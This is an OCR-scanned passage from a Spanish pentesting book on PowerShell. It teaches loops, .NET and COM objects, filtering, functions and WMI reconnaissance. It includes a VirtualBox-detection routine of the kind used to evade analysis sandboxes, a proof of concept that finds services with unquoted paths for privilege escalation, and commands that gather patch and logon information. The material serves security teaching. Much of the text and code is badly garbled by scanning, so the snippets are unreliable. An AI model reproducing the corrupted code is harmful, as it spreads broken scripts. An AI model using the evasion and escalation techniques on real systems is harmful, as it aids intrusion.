y.GetValue(“Identiﬁer”).ToString().StartsWith(“VBOX"))

'

1 \HARDWAREADESCRIPTI SR
HITRVBRR™) )

- tem -Pafth “YHE
$key.ﬁeralue(“SystemﬁiasVarsioﬂ”).Start

e da por hecho que la méagquina sobre la que se ejecuta no es una Virtual

Al principio de la funcion s
Box. Se iran haciendo distintas pruebas para comprobar que esto no s cierto. El primer tipo de
prueba que se realiza es listar los diferentes procesos que ¢jecutan en la maquina y verificar la

existencia de dos procesos clasicos de esta plataforma, como son VBoxTray y VBoxService.

El segundo tipo de prueba evaliia la existencia de unas claves de registro en HEKLMAHARDWARE
ACPI las cuales deben finalizar en VBOX . Para el tercer tipo de prueba se evaliia que en otrs
rutas del registro existan unos valores que comiencen por VBOX.

cuenta que el seript ha sido desarrollado en PowerShell 3.00en un equipo Windows
ano. indicando false sino seest
1 un entorno de virtualizaciot

Hay que leneren
8. Lasalida que produce esta funcion es sencillamente un valor boole
¢jecutando en una maquina Pirtual Box, o true si se esta ejecutando e

como el mencionado.

8. Bucles

Los bucles son sentencias d
condiciones. Los bucles son utilizados para no
PowerShell se disponen de varios bucles. los cua

e codigo que se ejecutaran varias veces en funcion de una 0V
escribir repetidas veces el mismo codigo- #
les se pueden utilizar en diferentes ambit
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contextos. En este apartado se estudiardn los diversos bucles de los que se cuentan en la linea de
comandos de PowerShell, y se podrd seguir su comprension con varios ejemplos.

For
£:| buele for itera un 'c1erto numero de veces, cuyo valor es conocido desde ¢l principio y no debe
cambiar durante su ejecucion. Es muy utilizado para recorrer listas y estructuras de datos como los

array.

£] funcionamiento que tiene un bucle for es el siguiente:
_ Se evalia el inicio, normalmente es la inicializacion de una variable
_ Seevalta la condicion, cuando ésta sea falsa se termina el bucle
- Sila condicion es verdadera, se ejecutan las instrucciones.

_ La expresion se incrementa y se vuelve a evaluar la condicion.

Su sintaxis es sencilla y es la mostrada a continuacion.
Para tinicio: condicidn; incremento)

Blogue de instrucciones
Fin Para

fsegqunde’, "o

Ty
primero”,

41 -le Sarray.l_englh;

Foreach

Elifarsarh: comse st e . i 14 '
l,f ultf J'Jl. w]mu puede verse en el lenguaje de programacion C#, permile ir recorriendo un conjunto
o listado de elementos u obje is ma i :
s jetos. Es mas un emdier que una instruccio ¢ i i
. ] S n, ya que dispone del emdle
P - ya que dispone del emdier

' sintaxis para utilizar este tipo de bucle es la siguiente:

p . ; i
ara cada elemento en coleccion elementos

Blogue de instrucciones

| ')
Fin Para cade

En el sipui i

: siguiente ¢ e de vi 1z i

Sl UClLJElm]JIU se .[JLI('.,dC isualizar como tras la EJECUCi()l’] de un histado de un direclorio
dado on ¢l bucle S¢ pucde ir recorriendo los distintos elementos de la coleccion

Bach (tatl
e (Selemento in GoE=

ForEach

echo “5

(Selemento. : 2 i :
ento.Name) atributos: $($elemento.Atzributes)”
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Do-While

Este bucle es especial ya que es postprobado, es decir, su condicién de salida se comprueba una vez
se ha ejecutado el bloque de instrucciones previo. En otras palabras este tipo de bucle se ejecuta 1 o
N veces. La sintaxis del bucle en formato de pseudocddigo es la siguiente:

Hacer
Blogue de instrucciones

Mientras que (condicion)

El funcionamiento es similar al del bucle while salvo que la evaluacion de la condicidn se realiza tras
la ejecucion de las instrucciones, por lo que al menos éstas seran ejecutadas una vez. En el siguiente
ejemplo se propone un ment, como el que se pudo estudiar en el caso del selector switch, para un
scripl.

do

{

Write—Host "1) Opeién 1%

Write-Host “2) Opcidn 27

Write-Host “3) Salir”

Write-Host “Introduce opcidn:”
Sopcion = Read-Host
Clear—-Host

}while ($opcicn —ne 3)

While

El bucle while se ejecutard 0, 1 o N veces. Es un bucle preprobado mediante una condicién inicial
o varias, cuando éstas dejan de cumplirse se sale del bucle. Este tipo de bucle es el mas utilizadoen

los lenguajes de programacion. Se suele utilizar cuando la condicion es preprobada y no se conoceel
nimero de iteraciones que se van a ejecutar. La sintaxis del bucle while es la que se puede visualizar
en el siguiente pseudocodigo.
Mientras gue (condicion)

Blogue de instrucciones

Fin Mientras gue

:Como Tunciona el bucle? El funcionamiento del bucle es sencillo y se divide en los siguientes
€ 2
pasos:

- Seevalta la condicion.

- Silacondicién es falsa se sale del bucle sin ejecutar instrucciones.

- Sila condicion es cierta se ejecuta el bloque de instrucciones.

- Se vuelve a iterar evaluando la condicion.

En el siguiente ejemplo se implementa un contador mediante un bucle while.
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0

onE =
1elfepnt -1t 10)

Wrise—-Hest “iteracién numers §(Scont)”
Scontt+

poC: Encontrando servicios vulnerables

En esta prueba de concepto se presenta la posibilidad de detectar rutas de binarios de servicios de
Windows la cuales no se encuentran especificadas entre comillas. Esto presenta un problema y es que
si una ruta no estd entre comillas Windows ejecutard la primera ruta que se encuentra valida hasta el
primer espacio, es decir, si se tiene la siguiente ruta C:\Program Files\pablo software \binario.exe se
ejecutaria C:\Program.exe en el caso de existir.

Dicho de otra manera, detectando esto un atacante puede aprovecharse de este hdndicap para
provocar una escalada de privilegios tras la ejecucion de un binario creado para la ocasion.

Mis adelante en el libro se puede encontrar alguna prueba de concepto mds, ya que esta técnica esta
implementada en frameworks de pentesting con PowerShell. En este apartado se presenta un sevipt
que se apoya en la obtencion de un listado de servicios que se gjecutan en la maquina y con un bucle
foreach se van recorriendo.

Por cada elemento que se recorre. los cuales son objetos con distintos atributos y propiedades que
representan servicios en el sistema. se hacen una serie de comprobaciones. Lo importante en el caso
de los servicios es la ruta dénde se encuentra el hinario y para ello se utiliza el pathname por cada
clemento recorrido. Se comprueba que el pathname no sea nulo, no sea vacio y que no comienza
por comilla.

Una vez que se comprueben estas cosas se comprueba que la ruta no sea [Windows. y por dltimo se
muestra la informacion de los servicios cuyo binario no se encuentra en una ruta que comienza por
comillas y que tienen la poesibilidad de contener espacios en su ruta, por lo que serian potencialmente
vulnerables,

= gwmi win32

Selemento in S8ervices)

o

If ((!Selement

LArtsWith (e ey

me . Egquals (
id (Selemento.pathiame -ns §

Y )—and (L5

emento. Pathiam

e.8plin
Contalns (%2 \Windows") ))
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En la imagen se puede visualizar la salida de la ejecucion del seript. Como se puede ver hay dos
rias vulnerables, como son C:\Program Files (x86)\Alcohol Sofi\dlcohol 2 AxAutoMntSrexe y

C:\Program Files (x86)\Alcohol Softdlcohol 52\Siar Wind\StarWindServiceAE. exe.

C:'.Program Files (x586) Alcohal SofthAlcohsl 52:AxAutabintSrv. exs
Axauto¥ntsry
C:/metasploit/postgresql;/bin/pa_ctl
metasploitPastaoreSdL

: t 1 riebyt byt ruby. exe -C ''Ct metasploitiapps proiengine

we runservice -N "matasploitPostgresQL” -0 e

i

" prosve_service.rb -E praduction

L appsiproiul thin_service.rb

C:vmetasploftirubybiniruby, exe -C
metasploitThin
C:\metasploitirubyibiniruby, exe -C "C:
metasploitworker
C:'Program Files (x88)" alcohal SoftiAlcohol 52%Starkl nd'.StarkindServiceAE. exe
starwindServiceAE

ystem32h VBoxService. exe
vBoxService

Ymetasploitiappsh preful™ worker_service.rb

Fig. 2.10: Obtencidn de pistas en binavios de servicios sin comillas.

9, Creacion de objetos NET

La linea de comandos de PowerShell permite utilizar componentes con interfaces NET Framework |
y COM. De este modo ¢l usuario debe entender que no se limita al uso de cmdlers.

New-Object

El cmellet New-Object permite crear objetos desde PowerShell. Este cmdlet permite crear instanciag

de una clase de .NET. En el siguiente ejemplo se utiliza la clase System.Diagnostics. EventLog en
|

PowerShell v2, la ejecucion seria la siguiente New-Object —Tipe Svstem. Diagnastics. EventLog <)

ArgumentList Application.

La ejecucién anterior se denomina constructor, ya que los argumentos que se pasan como valore

son utilizados en un método especial.

=3
pS C:NlUsersipablo> New-Object =TypeName System.Diagnostics.EuentLug —ArgumentlList Applicatic

Entries Log

2@.979 application

Max¢K> Retain Overfloufictien

A OveruriteAsNeeded

PS C:\Usersh\pahlo?

Fig. 2.11: Creacidn de ohjefo.

El objeto creado anteriormente puede ser almacenado en una variable, haciendo referencia a éste. D
este modo el objeto puede ser utilizado durante la sesion o el seript por el usuario. {

PowerShell puede realizar gran cantidad de canalizaciones, aungue en algunas ocasiones &5
interesante utilizar variables para almacenar objetos con el fin de poder manipularlos a postents

con mayor facilidad.
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Creacion de objetos COM

Se pued.e utilizar el emdlet New-Object para trabajar con los componentes COM. Estos componentes
o N - il . . . . i ’ ) . ; -
proporcionar desde diversas bibliotecas que son incluidas en Windows Script Host, WSH, hasta
pore ’ - : . /| S, ¥ adld
aplicaciones ActiveX, como por ejemplo el famoso navegador de Microsoft Internet Explorer

La mayoria de los objetos conocidos como WWSH pueden crearse especificando lo que se denomina

o 5 - i TRV A ; )
ProglD. Estos .PI oglD puejderl ser WiScript.Shell, WScript. Network, Scripting.Dictionary y Scripting
I ',/eSp_s‘[en.?()b[ECf. A continuacion se enumeran los comandos que permiten a un usuario crear e;
tipo de objetos: -

- New-Object ~-ComObject WScript.Shell.

- New-Object -ComObject WSeript. Network.

- New-Object -ComObject Scripting.Dictionary.

- New-Object -ComObject Scripting.FileSystemObject.

Para ejemplificar qué cosas se pueden llevar a cabo con este tipo de objetas se van a crear acces

directos con W Script.Shell. En este ejemplo se quiere crear un acceso directo, el cual \:j::ue}bof
una carpeta personal del usuario. En primer lugar se debe crear una 1‘el“erencia. a WSeripi S'TEU); l
almacenarla en una variable, por ejemplo Swshshell = New-Object —ComQObject WSC;-; 15{'] dﬁ ?LP \
poder evaluar los métodos y propiedades disponibles en este dbjezo se puede utilizar e]l) ‘vn?;’)t- GHJI .
Member, por lo que si se ejecuta Swshshell | Get-Member se obtendran difer te (5 s ”-—
pueden ser lanzados por el usuario, R R

:Hzﬁiitggg%gg gﬁik = New-Ohject —ComObject WScript_Shell

SpecialFolders

CurrentDirectory

omObject
Jjec C:N\Users\pahlo

PS C:\Users\pahlo> Swsh | Get—Member

ypeNane: System._ ComObject#{41904486-hel8—11d3—-a28h-00184hd35090>

Method
Method
Ao ; Method
T.110nmentStr1ngs Method

; Method
Hethod

Method

Method

Method

hool AppActivate (Variant, Uawri

= o A

IDispatch CreateShortcut (str;;;gt>
IgshEer Exec {(string)

string ExpandEnvironmentStrings (stei
?gglpLogEu€nt (Variant. string, strisgg)

t Popup (string. Uariant, 0| r i
void RegDelete (string;an s
Uag;a;t ﬁegﬂead (string)
voi egllrite (string. Uariant i
::;223 int Run C(string,. Uariant, Uagiénggllant)
gethed . ... s void SendKeys (string, Uariant)
Propertzllhe Property IES%EnuEPonment Environment (Uariant) {getd

: : string CurrentDirectory (> £ s
Property IUshCollection Special%uldergegg E;ZE;

iteshortcut

Fig. 2.12: Creacion de wn objeto COM en Powershell.

El mét
4 método WSep >
030 direct. ript.Shell CreateShortcut acepta un argumento, el cual es la ruta del archivo de
ue iere ¢ ili
que se quiere crear. Se puede utilizar una ruta de tipo absoluta, es decir, una ruta
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quiere crear el acceso directo. Para crear el acceso directo

completa al directorio en el gue s¢
PowerShell $lnk = Swshshell.

se ejecuta la siguiente instruccion sobre la linea de comandos de
CreateShortcui( " <ruta directorio>").

Filtros

El emdlet Where-Object permite evitar que un objeto pase por una canalizacién si no cumple con
la condicién requerida. En otras palabras, Where-Object probaré cada objeto de la canalizacion y lo
pasaré por ésta solo si cumple una determinada condicion. Logicamente, los objetos que no superen
la prueba se quitan de dicha canalizacién. La condicién a probar por el cmdlet se proporciona como

el valor del pardmetro Where-Object -FilterScript.

En este apartado se va a mostrar un ejemplo sencillo de uso de FilterScript, pero ;[Qué es ¢
FilterSeript? Realmente es un bloque de script, €s decir uno o mas comandos de PowerShell que
son especificados entre llaves. El parametro FilterSeript es evaluado a true o false. El blogue de
seript puede contener codigo muy sencillo, pero se debe tener claro algunos conceptos previos,
Generalmente, el codigo del interior de un bloque de seript seran operaciones de lipo comparacién,
El operador realizard una comparacion entre los elementos que aparecen 2 ambos lados del operador, |
Los operadores de este tipo pueden visualizarse en la siguiente tabla de elementos:

Comparador Descripeién
-eq Igual a
-ne Distinto a
-lt Menor que
-le Mener o igual que
-gl Mayor que
-ge Mayor o igual que
-like Es como
-contains Contiene
-notlike No es como

Tubla 2.06: Elementos de comparacion para FilterSeript.

Los bloques de scripr que utiliza el cmdiet Where-Object utilizan una variable especial, la cual es 5
Esta variable hace referencia al objeto actual que se encuentra en la canalizacion.

En el siguiente ejemplo se pasan diversos objetos al emdlet Where-Object, los cuales son evaluad®s
para comprobar si la longitud de dichos objetos es mayor de 5. La instruccién ejecutada €
siguiente “pablo”, "sandra”, "natalia” | Where-Object {8_.length gt 3}. Esta instruccién desec
el nombre pablo por no cumplir con la condicién de que su longitud sea mayor de 5.
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Como se ha visto en el ejemplo anterior la variable especial §_ tiene acceso a las propiedades de los
objetos, y estq es realmente Util, ya que permite al usuario a_provecharse de todo el polengi'll Ui
aportan los objetos. Imaginando un sistema Windows y utilizando la clase Win32 SysremD "c'o []Ut
iwMi se puede filtrar por las propiedades de ésta el contenido que se quiere ViSUEﬁ;ZéIl: T

Como ejemllolo se presenta la siguiente instruccion Ger-WmiObject —Class Win32 SvstemDriver
| /,e.,-gAOf-'?/@C'f_ —dF;lferScnpr {3_.State —eq “Running"}. Previamente para Poderiv—isualizar los
métodos y propiedades de los objetos se podia ejecutar Ger-WnmiObj . )

= ect —Class Wi ; (s
| Get-Menber. Y in32 SystemDriver

La lista Hue lpuede ser visualizada con las ordenes anteriores puede atn seguir siendo muy larg

puede ser util concatenar condiciones, por ejemplo, de la siguiente manera Ger-WimniObje Y C]t_.?‘l:
iWin32_SvstemDriver | Where-Object —FilterScript {§_.State —eq “Running”} | Wh Jjec(;_' -Cm
FilterSeript {$_StartMode —eq “Auto ™). - e sa L

Ahora se ])Ll€d€1.] utilizar cmdlets que den formato a la salida y concatenarlos al final de la instruccid

cjecutada anteriormente. Como se puede visualizar es realmente utilizar filtros 1{18 E; ldhl(Jll
encontrar la informacion que el usuario necesita en cada instante. Se puedé evitar L.z‘tilcilza ’ dyll L'n .
los emdlets Where-Object si se utiliza un operador logico —and en este caso ( e

]EI. cjemploﬁ ant'eric_)r quedaria de la siguiente manera Ger-WmiObject —Class Win32 SystemDriver
Where-Object —FilterScript {(8_.State —eq “Running ") -and (§_.StartMode —eq * duta™)) ' i
% i ; i

ps\pablo Get:l;?iobject ~Class Win32 SystemDriver !

Hode -eq "Aito Where-Object —FilterScript 4<5..State —eq “Running™> —and <

ayNane = Link- . is i
ayMane : ]ﬁ:gikayel Topology Discovery Mapper I/0 Driver

: Running

: 0K

: True

: Uirtualizacion de archivos UAC

i E{“ﬂfu

: Running

: OK

: True

] Hnlf.Gl'uup Packet Filter Driver
n

: np
: Running
: OK

: True

: PEAUTH
: PEAUTH

: Running
: 0K

: True

Fig. 2.13: Utilizacion de filtros de objetos con Powershell,

10. Utilizacién de clases y métodos de NET

No todas |ag clases de NET

al Framework se pueden crear con el cmdler New-Object. En algunos casos

intentar ||e
var i : :
indicando que nOaS C;i]bo esta operativa se obtendra un mensaje de error desde la linea de comandos
152 Se prods e adencontrado el constructor adecuado para ese tipo. ;Por qué se producen estos
. Ce = .
n debido a que no hay una manera de crear un objeto a partir de dichas clases
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que quieren ser utilizadas. Estas clases son bibliotecas de referencia de métodos y propiedades que
no cambiaran de estado. En otras palabras. solo se tendran que utilizar sin mas.

A continuacién se muestra un ejemplo de cémo utilizar las clases y los métodos de éstas. Para hacer
referencia a una clase estatica, por ejemplo System.Environment, s¢ debe especificar el nombre de
la clase entre corchetes. En otras palabras se puede escribir en PowerShell [System. Environment]
y se obtendrd informacion general sobre el tipo que s€ esta tratando. Como nota extra indicar que
también se puede omitir la palabra Systen invocando [Environment] directamente.

;Qué hace System.E avironment? Esta clase estatica contiene informacion sobre el entormo de trabajo
del proceso actual, el cual es PowerShell.exe cuando se trabaja en la linea de comandos de Microsoft,

Para poder visualizar los métodos estaticos de Ia clase se puede utilizar el cimdlet Ger-Member comg
se hacia con los objetos anteriormente. Por ejemplo, si se quiere obtener los métodos estaticos se
ejecuta [System. Environment] | Get-Member —Static.

PS C:=N\Users\pablo? [System.Environnent] i Get-Member —Static

TypeNane = System.Environment
MemberType Definiti

s hool Equals(System.Ohject ohjA. System.Object oh3B)

static System.Uoid Exitlint exitCode?

static string ExpandEnuirnnnentUariahl g(string named

static System.Uoid FailFast(string nessaged

static stringll GetCommandLinefrgs<y

static string GctEnuirunmentUﬂriahle(string variable), static string GetEnvi
static Systen.Callectiuns.lDiccionapy GetEnvironnentVariables ). static Syst
static string GchulderPath(Systan.Enuirunnnnt‘SpucialFolder folder>

static stringll GetLogicalDrives<)

static bool ReferenceEquals(Systen-Object objA,. System.Object ohjB2>

static System.Uoid SetEnuironmentUarinhle(scring variable, string value), stat.
static System.String CommandLine €get;2

static System.String CuprentDirectory {getisets?

static System.Int32 ExitCode {get;iset;>

static System.Boolean HasShutdownStarted {gets;>

static System.String HachineName {get:;>

static System.String NewLine €get;>

static System.OperatingSysten 0SUersion {get;>

static System-Int32 ProcessorCount {get;>

static System.String StackTrace {get;>

static System.String SystenDirectory {get;>

static System.Int32 TickCount {get;’

static System.String UserDonainNane {get;>

static System.Boolean Userlnteractive {get:>

ctatic System-String UserName {get;>

static System.Uersion Uersion {get:>

static System.Int6d WorkingSet {get;>

Method
Method
Method
Method
Hethod
Method
Hethod
Method
Method
Hethod
Method
Property
Property
Property
Property
Froperty
Property
Property
Property

[FailFast
iGetCommandLinefrgs
etEnvironmentUariable

xitCode
asShutdoynStarted
achineName

Property
Property
Property
Property

ystenDirectory
ickGount
iserDonainHane
serinteractive Property
serName Property
Brsion Property
jorkingSet Property

Fig. 2.14: Obtencion de métodos estaticos en clases de .NET Framewaork.

Para poder listar las propiedades de la clase estdtica se puede utilizar la siguiente instruccion [Systes
Environment] | Get-Member -MemberType Property. De nuevo es fundamental el uso del cmdd
Get-Member para poder listar las propiedades de la clase.

Para poder leerel valor de las propiedades se utiliza *::" para indicar a PowerShell que se quiere utiliz®
una propiedad o un método estitico. Por ejemplo, si se quiere acceder al usuario que ha |anzsé
el proceso de PowerShell se puede ejecutar [Svs!em.Envimn.'nem]:.' UserName, tal y como PW’
visualizarse en la imagen. Otros ejemplos interesantes es la utilizacion de la propiedad QS Versitk
la cual indica qué version de Windows se estd ejecutando, o la propiedad HusS;'n{.!don'nSIw'fed-1
cual indica si el equipo se estd apagando. Existen multitud de métodos y propiedades en estacl
extrapolando esto al uso de otras clases estaticas de .NET se puede dilucidar un gran potenciﬂl

el scripting en PowerShell.
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C:\lUsers\pablo> [Sustem.Enuironm
: us 5 3 ent1::G i
\UIHDOHS\system32\H1ndowsPowerShell\ul.;ngggkgggll.exe”

S C:NUsers = -
e ers\pablo> [System.Environmentl::UserInteractive

PS C:\Users = &
pablo—unm Npahlo> [System.Envirenmentl::UserDomainName

PS C:\Users s i
pabgu\u ersi\pable?> [System.Environmentl::UserName

P8 C:\Users\pablo>

Fig. 2.15: Lectura de propiedades estdticas de clases NET Framework

Otra clase estatica interesante es System.Math, la cual permite realizar algunas operaciones

v 4' 4P " 3 ili ﬁ\.
matematicas complejas. Se puede utilizar el emdlet Get-Member de nuevo para obtener informacion
acere. o e C = i [ : l
acerca de qué cosas se pueden realizar con la clase. Es realmente interesante profundizar sobre este

lema. ya que como se mencionaba anteriormente, abre un nuevo mundo de posibilidades para el
seripting en PowerShell. . = e €

11. Funciones

Una luncion es una secuencia de cddigo aislada que realiza una o varias acciones para devolver

valor. Pueden recibir parametros de entrada para trabajar con estos valores y «.1 o i‘f\OU -
reutilizar codigo. de este modo se evita no tener que escribir C(’)diﬁ(; |‘epe'rid.b"t"i‘ll{j]:ur'm)"‘ ‘UU-R-‘S }ml--a
desarrollo. Las funciones pueden ser invocadas desde cualquier p;mo (-ie un \'Ci‘f,'h'L S

El provider de las funciones

El provee < 5 fiinet . . ,

| [d. 1.LL(IOI'|”(|L I.as funciones es un almacén donde se pucde navegar y realizar operaciones sohr

as distintas ‘iones A et ‘ o i =k 2 s sobre

as distintas funciones en el entorno de PoweirShell. Para trabajar sobre este proveedor se ejecuta
| S se €] ;

la orden cd function: v se pue s
i .‘/nmmw. y se pueden utilizar los emdlet que permiten navegar entre directorios par
realizar acciones sobre el almacén. o 05 Jald

lindows PowerShell
opyright <G> 2889 Microsoft Corporation. Reservados todos los derecho

lola bit-PC\pahlo bienvenid

"PGhpa 0 a PouwerSl

‘ G\ gu}bxt 92,28.,2012 1l:21=1:1> igtlllfuncticm'
stion:\ B2/28,2012 10:21:16 > dir :

onnandT ype

= i(.”.;_.‘, Definition
Function Set-Location A
Set-Location B
Set—Location C
Set—Location .
Set-Location \

Function

Fig. 2.16: Listado del proveedor de funciones.

Crear funciones

En la linea
de ¢ B

oatinuscis comandos de PowerShell las funciones estan definidas por

sé en ) el s diversos elementos. A
umeran los diferentes elementos que definen una funcion:
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_ Palabra reservada function.

- Nombre de la funcion.

- Ambito de la funcién, aunque este clemento es opcional.

- Argumentos gue son pasados a la funcion. Se pueden pasar desde 0 hasta N argumentos,
aunque tambi€n son un elemento opcional.

- Bloque de instrucciones. Este blogue es ejecutado cada vez que se invoca la funcion.

. Parametros a devolver, La funcion puede devolver o noun resultado.

A continuacion se muestra el pseudocddigo que se utiliza para definir las funciones. La sintaxis es
sencilla.
Funcion [Ambito] nombre de la funcion [(lista argumentos)|
Blogue de instrucciones
Fin Funcion
Un ejemplo basico es la creacién de una funcién la cual no recibira ningln argumento y ejecutari

un listado sobre el directorio actual y mostrard los atributos de los archivos que se encuentran en
dicho directorio. Para gjecutar la funcion basta con escribir su nombre en cualquier punto del serip

o la shell.

furictian 1igtarhtributos

(Selements in Get—ChildItem)

echa “5(Selemento.name) atfibuLoe:S(Selemento.attriﬁutes)"

Para observar el contenido de las funciones, es decir, su codigo, se puede utilizar el cmdlet get
content sobre el almacén de las funciones.

pS C:\Users\bit 82/28,2012 1@:48:51 > cd function:
PS Function:=™ 92/28,2012 18:48:53 > Get—-Content 11

foreach (%elemento in Get—ChildItem>

echo ‘"$¢5elemento.namne’ atrpibutos:$(selemento _attributes)"
>

PS Function:\ #2,28,2012 18:40:58 > [ ]
Fig. 2.17: Captura de cddigo de una funcidn implementada.
Cuando el usuario necesite pasar valores a una funcion se pueden utilizar dos formas distint&
La primera de las formas es mediante argumentos, mientras que la segunda es mediante el USO*l
parametros. La diferencia radica en que, por gjemplo, la posicion del argumento en el paso de &8
2 la funcién si importa, mientras que en el caso de los parametros esto no OCUITE, yd que el valor¥

acompanado del nombre del parametro, por lo que su posicion no aporta significado.
La primera manera que se estudia es el paso de valores a funciones mediante el uso de arguny
Su sintaxis. como puede visualizarse, es intuitivo y sencillo Nombre de la funcion qrgumens

argumento2 ... argumento N.

r
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ara el ejemplo O S :
P.Lna € : jemplo se mejora la funcion anterior, la cual ahora recibird un argumento que serd
directorio sobre el que hacer el listado con los atributos h Rl Bl

fynctien listarAtzibutos

($elemento in Get-ChildTtem Sergs[0])

cho "3 ($slement a atri
S (Selemento.name) atributos:3(Selemento.attributes)”

arl
ers\bit> listarAtributes c:\

. (7' o o e /]
l.tj -s;;:s:un{da forli‘ﬂa es i{l uso de los pardametros. Como se ha comentado anteriormente. el orden e
1 : ; . . s
1:} ! e1.*en & fl‘edpas(? € Dafa_metro_s, por lo que ofrece una ventaja frente al uso de argumentos. La
.smllvtls es la indicada a continuacion Nombre de la fincion —Pardmetro | <valor S
_Pardametro N <valor pardmetro™. ParREmRe>

l-..n el slngleILte ejemplo, se modifica la funcidén anterior para disponer de un parametro que s I

i o ' 3 ’ . . C .‘Cll =

directorio sobre el que listar y un parametro que indicara si obtener los atributos o no ] -
-tion listarAtributos .

cotoria, [stringl8mostrar);

v Get-Childltem Sdirectaria)

a2

atributos:$ ($elementc.attributes)”

e

iis ibutes —directoria c:

; —mostrar i
Ltributos -mostrar na —directorio el

(. l
on param s¢ dthnt & } € se t i 5 Y alldilld
n ]OS par[m‘letl‘( ] qu L I|l?_al an €n la fLmCiDIl / COMo ])l Bd(. V.q 1a .17 1rse

tiene un potenci
encial enorme. Se p indi i A

. Se puede indicarsie "0 €8 de us i i

—— I dicar si el pardmetro es de uso obligatorio o no con la clausula

!\dcmés S ili o

. se utiliza 4 " I i stos
lr y o C‘r pa]dl‘netlﬂs con tip{) d@ﬁﬂldo, con ]U que S€ asegura e-] usQ correclo dC‘ & 'tU
I élllc 08, p ocando er or si el tlpO que sc pdsa a la funcién no €5 cot patible -

La devolucig
olucion de vy
valores por part : :
A ed o g : s
1 una variah|e porp e un script se realiza de manera implicita y puede ser recogida

para su tratamiento posterior.

s\bit>5resu;tadc =

L ¢ ] C:\USE:‘

. W 14 st ; ;
\Uaers\bit>SEESu1tadg istarAtributes —directerie g1\ -mostrar si
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12. Administracion y recopilacion de informacion

El usuario puede realizar un control administrativo sencillo de los sistemas de forma interactiva o a
través del uso del scripting. La administracion en sistemas Windows esta totalmente implementada
gracias al uso de la linea de comandos de PowerShell, la cual ofrece un gran nmero de cmdlets
y opciones a través de otras tecnologias como, por ejemplo, el lenguaje de instrumentacion WM/,

Como se ha podido estudiar en el capitulo PowerShell no se basa solo en cmdlets y utiliza otras
tecnologfas para poder resolver todas las necesidades de usuarios, administradores y por extension
de los pentesters. A continuacion se van a estudiar una serie de ejemplos de administracion bésica

que puede ayudar a recopilar informacion del sistema y gestionarla.
|

La administracién de procesos y servicios locales es algo bésico y fundamental para controlar lo |
5 v = f ! . - & i I

que se esta ejecutando o se gjecutara en el sistema. Se puede realizar una mspeceion o filtracién de
P vy . s |

procesos y servicios utilizando los siguientes emdlets: ‘

Cmudlet Descripeion

Devuelve un listado de los procesos que se gjecutan en la maquina. Es
posible utilizar ciertos parametros como —Id para especificar el nliimero del
PID que se quiere filtrar. Por supuesto se puede utilizar el emellet Where-
Object para filtrar en funcién de una o varias condiciones. Por ejemplo,
Get-Process | Where-Object {$_.pid —gt 2000}

Get-Process

Este cmdlet permite detener un proceso del sistema, el cual se puede
especificar a través del pardmetro —Name 0 —Id. Como ejemplo se muestra
la parada de procesos que no estan respondiendo Ger-Process | Where-
Object —FilterScript {$_.Responding —eq $false} | Stop-Process

Stop-Process

Permite listar los servicios que hay en el sistema, pudiendo filtrar el estado
en el que se encuentra, por nombre, eteétera. Por ejemplo, para visualizar
los servicios que se encuentran gjecutandose en el sistema se puede
lanzar la siguiente instruccion Get-Service | Where-Object {$__status —eq

“Running "}

Get-Service

Con este emdlet se puede cambiar el estado de un servicio de running a

Stop-Service
stop

Start-Service Permite arrancar un servicio que se encuentra detenido

Permite detener un servicio y volverlo a arrancar, todo ello a través de un
emdlet. Como ejemplo se muestra el listado de servicios que son filtrados
por servicios que pueden ser detenidos y se lleva a cabo el reinicio. Get-

Service | Where-Object -FilterScript {5_. CanStop} | Restart-Service

Permite suspender un servicio

Restart-Service

Suspend-Service

Tabla 2.07: Comandos para tratamiento de procesos ¥ servicios.
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para recopilar informacion acerca de los sistemas donde el pentester se encuentra se puede utilizar
un emdler muy ttil como es Ger-WmiObject. Este emdlet puede acceder a toda la configuracion
fundamental de los subsistemas que son expuestos mediante el lenguaje de instrumentacion WM.
Con este lenguaje se pueden realizar tareas avanzadas con poco estuerzo.

A continuacién se muestran diversos ejemplos de recapilacion de informacion que pueden resultar
muy ftiles en el momento de realizar un scripf. Estas instrucciones pueden ser utilizadas por un
pentester durante las primeras fases de un test de intrusion.

Descripeion
La clase Win32 BIOS de WMI permite recolectar
informacion completa sobre la BIOS del sistema.

Instruccion

Get-WmiQbject —Class Win32 _
BIOS —ComputerName .

La clase #in32_Processor de WMI permite recolectar
informacion general de los procesadores. Es altamente
probable que se quiera filtrar entre toda la informacion
que reporta esta instruecion, por lo que se puede utilizar
Select-Object para ello, por ejemplo Ger-WmiObjeci
-Class Win32 Processor -ComputerName . | Select-Object
-Property [az]*

Get-WimiObject -Class Win32_
Processor —ComputerNanie .

La clase Win32 ComputerSystem de WMI permiic
obtener informacion del modelo del equipo. Se pueden
conseguir datos como el dominio, el nombre de maquina,
manufacturer o el propietario

Get-WmiObject -Class Win32
ComputerSystem

La clase Win32 QuickFixEngineering de WMI permite
obtener todas las revisiones instaladas. Esto puede
ser realmente Gtil para que el pentester canozea que
parches hay instalados en la maquina. Puede resultar
interesante filtrar por alguna propiedad como es HotfFix/D
Get-WmiObject -Class Win32 QuickFixEngineering
-ComputerName . -Property HotFixId

Get-WmiObject -Class
Win32 QuickFixEngineering
-ComputerName

La clase Win32 OperatingSystem de WMI permite
recopilar informacion sobre la versidn del sistema
operativo y los Service Pack instalados. Para poder
listar los usuarios y propietarios locales se puede
utilizar la instruccion Ger-WmiObjecr -Class Win32_
OperatingSysiem -ComputerName . | Select-Object
-Property NumberOfLicensedUsers, NumberOfUsers,
RegisteredUser

Get-WmiObject -Class Win32
OperatingSystem -ComputerName .

LOG.e!- WmiObject -Class Win32
gicalDisk -Filter “DriveType=3"

-ComputerName .

La clase Win32 LogicalDisk de WMI permite recopilar
informacion sobre el espacio en disco disponible
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Instruccion Deseripeion

La clase Win32 LogonSession de WMI permite obtener

Get-WmiObject -Class Win32 i i : o .
1 == informacion sobre las sesiones indiciadas asociadas a

LogonSession -ComputerName .

usuarios

Tabla 2.08: Recopilando informacion con Get-WmiQbject,

Recopilando informacién sobre el software de la maquina

El usuario puede tener acceso a informacion sobre el software de la maquina, por gjemplo a través del
uso de la clase Win32 Product de WMI. Con el uso de esta clase se pueden gestionar las aplicaciones
instaladas con Windows Installer, tanto en un sistema local como remoto.

Ejecutando la instruccion Gei-WmiObject —Class Win32_Product —ComputerName .
obtener un listado de aplicaciones instaladas con Windows Installer. Se puede obtener informacién
como el nombre de la aplicacion, la version, el vendor, etcétera. Los cmadlets Select-Object y Where-
Object pueden ayudar al usuario a filtrar las propiedades que se necesiten.

PS C:\Usershpablo> Get—UniObject —Class Win32_ Product —ComputerName .

